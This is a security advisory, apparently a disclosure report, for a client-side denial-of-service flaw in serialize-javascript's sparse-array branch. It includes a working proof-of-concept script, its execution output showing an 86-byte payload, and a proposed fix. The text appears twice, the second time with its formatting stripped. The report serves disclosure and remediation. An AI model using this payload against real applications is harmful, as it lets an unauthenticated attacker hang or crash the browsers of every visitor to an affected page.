Summary
| Attribute |
Value |
| Vendor / Org |
Yahoo |
| Product |
serialize-javascript |
| Component |
index.js — sparse-array serialization branch |
| Affected Versions |
>= 5.0.0, <= 7.1.1 (client-side residual of the sparse-array branch) |
| Severity |
Medium |
| CVSS 3.1 Score |
6.9 |
| CVSS 3.1 Vector |
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H |
| CWE |
CWE-789 (Memory Allocation with Excessive Size Value), CWE-1284 |
| Affected File |
index.js:325 (output construction), index.js:176-181 (sparse detection) |
CVSS 3.1 Breakdown
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H — Score: 6.9 (Medium)
| Metric |
Value |
Justification (from the PoC) |
| Attack Vector (AV) |
N |
Attacker controls an array index via a normal network request parameter. |
| Attack Complexity (AC) |
L |
A single request with a large numeric index; no race or special state. |
| Privileges Required (PR) |
N |
No authentication needed. |
| User Interaction (UI) |
R |
A victim must load the page that hydrates the serialized output. |
| Scope (S) |
C |
Server-produced output crosses into the victim browser, whose resources (a different authority) are exhausted. |
| Confidentiality (C) |
N |
No data disclosure. |
| Integrity (I) |
N |
No data modification. |
| Availability (A) |
H |
The victim browser tab hangs/OOMs materializing an up-to-2^32-1-length array. |
Description
Excessive memory allocation in the sparse-array serialization of Yahoo serialize-javascript >= 5.0.0, <= 7.1.1 allows a remote attacker who controls an array index to cause client-side denial of service, by emitting an array-like literal whose unvalidated length (up to 4,294,967,295) is materialized by Array.prototype.slice.call in the victim's browser.
When a sparse array is serialized, the library emits
Array.prototype.slice.call({..., "length": <N>}), copying the original array's length
into the output with no validation or upper bound. Server-side cost is O(assigned
elements), but the hydrating browser pays O(length). An attacker who controls only an array
index (results[req.query.page] = row) produces a ~86-byte response that forces the client
to iterate up to 2^32-1 times.
Security consequence (so-what): an attacker spends a few dozen bytes to hang or crash
the browser tab of every user who renders the affected page — a decoupled client-side
resource-exhaustion (amplification) DoS.
Relationship to CVE-2026-34043 (GHSA-qj8w-gfj5-8c6v): that advisory fixed the
server-side CPU cost of detecting a large array-like (patched in 7.0.5 via
Array.isArray/Object.keys). This report concerns the still-present client-side
emission at index.js:325, which echoes the length into the output executed by the
victim browser. The two have different sinks and different fixes.
Root Cause
The sparse branch materializes the output by merging the raw length into an object literal:
if (type === 'A') {
return "Array.prototype.slice.call(" +
serialize(Object.assign({ length: arrays[valueIndex].length }, arrays[valueIndex]),
options) + ")"; // index.js:325
}
arrays[valueIndex].length is written verbatim. Unlike the Date (index.js:300), RegExp
(index.js:308-311) and URL (index.js:342) branches, which validate their emitted values,
length receives no Number.isInteger/upper-bound check. The generated
Array.prototype.slice.call({length: 4294967295, ...}) is valid JS whose evaluation in the
browser allocates/iterates a 4.29-billion-slot array.
Reproduction Environment
| Item |
Value |
| Runtime |
Node.js v26.5.0 |
| serialize-javascript |
7.1.1 (installed from npm registry) |
| OS |
macOS (darwin 25.6.0) |
| Build tool |
npm |
Proof of Concept
POC Source Code
package.json
{
"name": "sjs-cve-poc",
"version": "1.0.0",
"private": true,
"dependencies": {
"serialize-javascript": "7.1.1"
}
}
poc02_sparse_array.js
// PoC #2 — client-side CPU/memory amplification via unvalidated sparse-array length.
// Reachability: a public HTTP handler assigns rows by an attacker-controlled index.
// serialize-javascript@7.1.1 echoes the array-like `length` verbatim into the output;
// the victim browser's Array.prototype.slice.call pays O(length).
const serialize = require('serialize-javascript');
function serverHandler(query) { // models: app builds page state from request
const results = [];
results[query.page] = { ok: true }; // pure data: attacker controls only an index
return serialize({ results }); // embedded as <script>window.__STATE__=...</script>
}
// --- attacker request ---
const out = serverHandler({ page: 4294967294 });
console.log('server output bytes:', out.length);
console.log('server output :', out);
// --- what the victim browser evaluates (real cost simulation) ---
// Measure the client hydration cost with a smaller but already-crippling length so the
// harness terminates; production `length` = 4294967295 makes this effectively unbounded.
function clientCost(lengthVal) {
const arrayLike = { length: lengthVal, [lengthVal - 1]: { ok: true } };
const t = Date.now();
const arr = Array.prototype.slice.call(arrayLike); // exactly what the output does
return { ms: Date.now() - t, materialized: arr.length };
}
for (const L of [1e6, 1e7, 1e8]) {
const r = clientCost(L);
console.log(`client slice length=${L}: ${r.ms} ms, array elements=${r.materialized}`);
}
// --- control baseline: dense array of same logical size is NOT sparse -> not amplified ---
const dense = serialize({ results: [{ ok: true }] });
console.log('control (dense len=1) output:', dense);
Execution Steps
mkdir poc && cd poc
- Save the
package.json above, then npm install.
- Save the source above as
poc02_sparse_array.js.
node poc02_sparse_array.js
Actual Execution Evidence
server output bytes: 86
server output : {"results":Array.prototype.slice.call({"4294967294":{"ok":true},"length":4294967295})}
client slice length=1000000: 14 ms, array elements=1000000
client slice length=10000000: 140 ms, array elements=10000000
client slice length=100000000: 1279 ms, array elements=100000000
control (dense len=1) output: {"results":[{"ok":true}]}
Analysis of Results
The server emits a fixed 86-byte string regardless of length, confirming cost is
decoupled from server effort. The client cost grows linearly with the echoed length
(1e6→14ms, 1e7→140ms, 1e8→1279ms); extrapolated to the emitted length of 4,294,967,295
the browser thread is blocked for ~50+ seconds and allocates billions of slots, hanging or
OOM-crashing the tab. The control (a dense one-element array) serializes as a plain
[{"ok":true}] with no slice.call and no amplification — isolating the defect to the
unvalidated sparse-array length echo.
Impact
A single small request lets an unauthenticated attacker embed an amplification bomb into a
page's serialized state; every visitor who hydrates that state suffers a hung/crashed
browser tab. Applications that route user-controlled indices into arrays they later
serialize (pagination, id-keyed result maps) are exposed.
Remediation
Recommended Fix
Validate length once and emit a construction linear in the assigned elements, never
echoing an arbitrary length:
if (type === 'A') {
var src = arrays[valueIndex];
var len = src.length;
if (!Number.isInteger(len) || len > (options.maxArrayLength || 100000)) {
throw new TypeError('Array length exceeds serialization limit');
}
// emit a construction proportional to assigned elements only
...
}
This keeps client cost proportional to the data actually present, a maintainer-owned change
at index.js:325.
Workaround
Consumers should validate/limit any user-controlled array index before serialization and
avoid creating sparse arrays from request data.
References
Summary
index.js— sparse-array serialization branch>= 5.0.0, <= 7.1.1(client-side residual of the sparse-array branch)CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:Hindex.js:325(output construction),index.js:176-181(sparse detection)CVSS 3.1 Breakdown
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H— Score:6.9 (Medium)Description
Excessive memory allocation in the sparse-array serialization of Yahoo serialize-javascript
>= 5.0.0, <= 7.1.1allows a remote attacker who controls an array index to cause client-side denial of service, by emitting an array-like literal whose unvalidatedlength(up to 4,294,967,295) is materialized byArray.prototype.slice.callin the victim's browser.When a sparse array is serialized, the library emits
Array.prototype.slice.call({..., "length": <N>}), copying the original array'slengthinto the output with no validation or upper bound. Server-side cost is O(assigned
elements), but the hydrating browser pays O(length). An attacker who controls only an array
index (
results[req.query.page] = row) produces a ~86-byte response that forces the clientto iterate up to 2^32-1 times.
Security consequence (so-what): an attacker spends a few dozen bytes to hang or crash
the browser tab of every user who renders the affected page — a decoupled client-side
resource-exhaustion (amplification) DoS.
Relationship to CVE-2026-34043 (GHSA-qj8w-gfj5-8c6v): that advisory fixed the
server-side CPU cost of detecting a large array-like (patched in 7.0.5 via
Array.isArray/Object.keys). This report concerns the still-present client-sideemission at
index.js:325, which echoes thelengthinto the output executed by thevictim browser. The two have different sinks and different fixes.
Root Cause
The sparse branch materializes the output by merging the raw
lengthinto an object literal:arrays[valueIndex].lengthis written verbatim. Unlike the Date (index.js:300), RegExp(
index.js:308-311) and URL (index.js:342) branches, which validate their emitted values,lengthreceives noNumber.isInteger/upper-bound check. The generatedArray.prototype.slice.call({length: 4294967295, ...})is valid JS whose evaluation in thebrowser allocates/iterates a 4.29-billion-slot array.
Reproduction Environment
Proof of Concept
POC Source Code
package.json{ "name": "sjs-cve-poc", "version": "1.0.0", "private": true, "dependencies": { "serialize-javascript": "7.1.1" } }poc02_sparse_array.jsExecution Steps
mkdir poc && cd pocpackage.jsonabove, thennpm install.poc02_sparse_array.js.node poc02_sparse_array.jsActual Execution Evidence
Analysis of Results
The server emits a fixed 86-byte string regardless of
length, confirming cost isdecoupled from server effort. The client cost grows linearly with the echoed
length(1e6→14ms, 1e7→140ms, 1e8→1279ms); extrapolated to the emitted
lengthof 4,294,967,295the browser thread is blocked for ~50+ seconds and allocates billions of slots, hanging or
OOM-crashing the tab. The control (a dense one-element array) serializes as a plain
[{"ok":true}]with noslice.calland no amplification — isolating the defect to theunvalidated sparse-array
lengthecho.Impact
A single small request lets an unauthenticated attacker embed an amplification bomb into a
page's serialized state; every visitor who hydrates that state suffers a hung/crashed
browser tab. Applications that route user-controlled indices into arrays they later
serialize (pagination, id-keyed result maps) are exposed.
Remediation
Recommended Fix
Validate
lengthonce and emit a construction linear in the assigned elements, neverechoing an arbitrary
length:This keeps client cost proportional to the data actually present, a maintainer-owned change
at
index.js:325.Workaround
Consumers should validate/limit any user-controlled array index before serialization and
avoid creating sparse arrays from request data.
References
index.js:325,index.js:176-181in yahoo/serialize-javascript v7.1.1.this report is the distinct client-side emission residual.